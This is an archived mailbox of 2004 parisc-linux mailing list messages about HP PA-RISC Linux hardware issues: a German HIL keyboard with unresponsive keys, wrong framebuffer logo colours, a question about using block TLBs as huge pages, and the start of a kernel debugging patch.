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

--Boundary-00=_mNOhBnzWrNW1EVG--



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] No "#/'" and "<>|" keys with german HIL-keyboard
Date: Sun, 31 Oct 2004 14:21:17 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <200410311421.17271.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623585 11597 80.91.229.3 (22 Nov 2014 02:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27089 invoked by uid 65534); 31 Oct 2004 13:21:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 31 Oct 2004 14:21:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 844C33BDFC; Sun, 31 Oct 2004 06:21:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29265-09; Sun, 31 Oct 2004 06:21:52 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6118F3BDFF; Sun, 31 Oct 2004 06:21:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 037283BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 06:21:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29265-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 06:21:32 -0700 (MST)
Original-Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com
	[194.25.134.18])
	by free.linux.hp.com (Postfix) with ESMTP id 9CB943BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 06:21:31 -0700 (MST)
Original-Received: from fwd08.aul.t-online.de by mailout04.sul.t-online.com with smtp 
	id 1COFeD-00008T-03; Sun, 31 Oct 2004 14:21:29 +0100
Original-Received: from ZEUS.lan.pc
	(rCcWXaZQ8eorawk6X6aQKBDzuqV2nPau5eel405AsQAoeTU7XURnrw@[80.144.120.232])
	by fwd08.sul.t-online.com
	with esmtp id 1COFe2-0gYBDU0; Sun, 31 Oct 2004 14:21:18 +0100
User-Agent: KMail/1.7
Content-Disposition: inline
X-ID: rCcWXaZQ8eorawk6X6aQKBDzuqV2nPau5eel405AsQAoeTU7XURnrw
X-TOI-MSGID: 6c76ee92-2c67-415f-bc28-d1211ec76f8e
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22079

Hi all,

after successfully moving to kernel 2.6.x-series with great help from Helge=
=20
Deller I'd like to report a problem wich is also present in 2.4.x-kernels:
with my german HIL-keyboerd on a 735/125 the keys for "#/'" (between left=20
shift-key and the "y"-key) and "<>|" (between Return and the german "=E4"-k=
ey)=20
give absolutely no response to the OS.
I tried "showkey" on a text-console and nothing happens when pressing these=
=20
two keys. Every other key gives an output.

Regards Johannes

=2D-=20
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
=46ingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Penguin color problems on HCRX-24 (was: [parisc-linux] Re: STI crash
	on B132L with HCRX-24)
Date: Sun, 31 Oct 2004 14:56:50 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <200410311456.50753.deller@gmx.de>
References: <200410292228.14940.j.raspe@t-online.de>
	<200410311312.21653.deller@gmx.de>
	<200410311406.46194.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623585 11600 80.91.229.3 (22 Nov 2014 02:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Johannes Raspe <j.raspe@t-online.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28648 invoked by uid 65534); 31 Oct 2004 13:57:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 31 Oct 2004 14:57:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1D4353BE26; Sun, 31 Oct 2004 06:57:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30011-09; Sun, 31 Oct 2004 06:57:16 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B6AEA3BE2E; Sun, 31 Oct 2004 06:57:03 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C15A13BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 06:56:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30889-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 06:56:55 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id D78383BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 06:56:54 -0700 (MST)
Original-Received: (qmail 28715 invoked by uid 65534); 31 Oct 2004 13:56:50 -0000
Original-Received: from pD9FE728E.dip.t-dialin.net (EHLO p100) (217.254.114.142)
	by mail.gmx.net (mp006) with SMTP; 31 Oct 2004 14:56:50 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <200410311406.46194.j.raspe@t-online.de>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22080

Hi Johannes,

On Sunday 31 October 2004 14:06, Johannes Raspe wrote:
> For solving the (cosmetical) penguin-color-problem I took a shot with my 
> digicam and attached it (sorry for poor quality).

I was hoping my last patch would have fixed this too. Oh well :-)

Right now I don't have any real idea why the penguin colors are wrong.
But I have two assumptions:
a) cfb_imageblit() works wrong in the current tree with 24/32bpp output and 8bpp input on big endian
b) fb_set_logo_truepalette() creates a wrong palette for 24bpp output [but this function seems correct IMHO].

Both of those I'm currently lost without any testing possibility, but I'll continue to look into it.

BTW, does everything else seemscorrect wrt. colors on the text console, e.g. does midnight command shows blue background ?

Regards,
Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BTLBs usable as HUGHTLBs ?
Date: Sun, 31 Oct 2004 15:04:30 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <200410311504.30552.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623586 11608 80.91.229.3 (22 Nov 2014 02:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1978 invoked by uid 65534); 31 Oct 2004 14:05:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 31 Oct 2004 15:05:08 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5085C3BDDD; Sun, 31 Oct 2004 07:04:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31023-03; Sun, 31 Oct 2004 07:04:46 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A775A3BE2E; Sun, 31 Oct 2004 07:04:38 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E68E3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 07:04:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31023-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 07:04:32 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 565673BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 07:04:31 -0700 (MST)
Original-Received: (qmail 9907 invoked by uid 65534); 31 Oct 2004 14:04:30 -0000
Original-Received: from pD9FE728E.dip.t-dialin.net (EHLO p100) (217.254.114.142)
	by mail.gmx.net (mp016) with SMTP; 31 Oct 2004 15:04:30 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22081

Maybe a stupid question from someone not knowledgeable of memory-stuff on Linux...

Since HPPA offers Block-TLBs (BTLBs), couldn't those be used comparable/wrapped as so-called HUGHTLBs (CONFIG_HUGETLBFS) as available on i386/ia64 ?

from /proc/cpuinfo on my 715/64:
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)		<--- 8
BTLB var-entr.  : 0 instruction, 0 data (0 combined)

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Penguin color problems on HCRX-24 (was: [parisc-linux] Re: STI crash on B132L with HCRX-24)
Date: Sun, 31 Oct 2004 15:06:00 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <200410311506.00662.j.raspe@t-online.de>
References: <200410292228.14940.j.raspe@t-online.de> <200410311406.46194.j.raspe@t-online.de> <200410311456.50753.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623586 11615 80.91.229.3 (22 Nov 2014 02:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:06 +0000 (UTC)
Cc: ajwalker@broadpark.no,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22636 invoked by uid 65534); 31 Oct 2004 14:06:04 -0000
Original-Received: from mailout01.sul.t-online.com (EHLO mailout01.sul.t-online.com) (194.25.134.80)
  by mx0.gmx.net (mx056) with SMTP; 31 Oct 2004 15:06:04 +0100
Original-Received: from fwd07.aul.t-online.de 
	by mailout01.sul.t-online.com with smtp 
	id 1COGLM-0008Ha-00; Sun, 31 Oct 2004 15:06:04 +0100
Original-Received: from ZEUS.lan.pc (XKsvuoZewePm7NeB8u4DHnIrVX3Q0XQgn6sKDcYUVrNLzBMAvDmRsA@[80.144.96.149]) by fwd07.sul.t-online.com
	with esmtp id 1COGLK-1Rxk2K0; Sun, 31 Oct 2004 15:06:02 +0100
User-Agent: KMail/1.7
In-Reply-To: <200410311456.50753.deller@gmx.de>
Content-Disposition: inline
X-ID: XKsvuoZewePm7NeB8u4DHnIrVX3Q0XQgn6sKDcYUVrNLzBMAvDmRsA
X-TOI-MSGID: e22d85ca-62e1-4c19-a8d8-77794ae4e4a9
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22082

Hi Helge,

> > For solving the (cosmetical) penguin-color-problem I took a shot with my
> > digicam and attached it (sorry for poor quality).
>
> I was hoping my last patch would have fixed this too. Oh well :-)
>
> Right now I don't have any real idea why the penguin colors are wrong.
> But I have two assumptions:
> a) cfb_imageblit() works wrong in the current tree with 24/32bpp output and
> 8bpp input on big endian b) fb_set_logo_truepalette() creates a wrong
> palette for 24bpp output [but this function seems correct IMHO].
>
> Both of those I'm currently lost without any testing possibility, but I'll
> continue to look into it.
>
> BTW, does everything else seemscorrect wrt. colors on the text console,
> e.g. does midnight command shows blue background ?

Yes. mc looks normal and a "make menuconfig" shows the right colors too.

> Regards,
> Helge

Regards Johannes

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No "#/'" and "<>|" keys with german HIL-keyboard
Date: Sun, 31 Oct 2004 15:27:02 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <200410311527.03160.deller@gmx.de>
References: <200410311421.17271.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_3YPhBnlonV9ycss"
X-Trace: ger.gmane.org 1416623586 11622 80.91.229.3 (22 Nov 2014 02:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25379 invoked by uid 65534); 31 Oct 2004 14:27:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 31 Oct 2004 15:27:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 03F9B3BE27; Sun, 31 Oct 2004 07:27:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31189-05; Sun, 31 Oct 2004 07:27:39 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EDAC73BE2B; Sun, 31 Oct 2004 07:27:19 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C3F33BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 07:27:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31189-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 07:27:15 -0700 (MST)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 763903BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 07:27:14 -0700 (MST)
Original-Received: (qmail 5832 invoked by uid 65534); 31 Oct 2004 14:27:10 -0000
Original-Received: from pD9FE77D4.dip.t-dialin.net (EHLO p100) (217.254.119.212)
	by mail.gmx.net (mp008) with SMTP; 31 Oct 2004 15:27:10 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <200410311421.17271.j.raspe@t-online.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22083

--Boundary-00=_3YPhBnlonV9ycss
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline

Hi Johannes,

On Sunday 31 October 2004 14:21, Johannes Raspe wrote:
> after successfully moving to kernel 2.6.x-series with great help from Helge 
> Deller I'd like to report a problem wich is also present in 2.4.x-kernels:
> with my german HIL-keyboerd on a 735/125 the keys for "#/'" (between left 
> shift-key and the "y"-key) and "<>|" (between Return and the german ""-key) 
> give absolutely no response to the OS.
> I tried "showkey" on a text-console and nothing happens when pressing these 
> two keys. Every other key gives an output.

please apply the following patch and send me the documented console-output for the corresponding keys.

Helge

--Boundary-00=_3YPhBnlonV9ycss
Content-Type: text/plain;
  charset="iso-8859-1";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="diff"

? drivers/input/keyboard/Kconfig.org
? drivers/input/keyboard/Makefile.org
? drivers/input/keyboard/atkbd.c.org
? drivers/input/keyboard/hilkbd.c.org
? drivers/input/keyboard/hpps2atkbd.h.org
Index: drivers/input/keyboard/hil_kbd.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/keyboard/hil_kbd.c,v
retrieving revision 1.11
diff -u -p -r1.11 hil_kbd.c
--- drivers/input/keyboard/hil_kbd.c	27 Oct 2004 20:17:18 -0000	1.11
+++ drivers/input/keyboard/hil_kbd.c	31 Oct 2004 14:22:17 -0000
@@ -140,14 +140,18 @@ static void hil_kbd_process_record(struc
 	case HIL_POL_CHARTYPE_NONE:
 		break;
 	case HIL_POL_CHARTYPE_ASCII:
-		while (cnt < idx - 1)
+		while (cnt < idx - 1) {
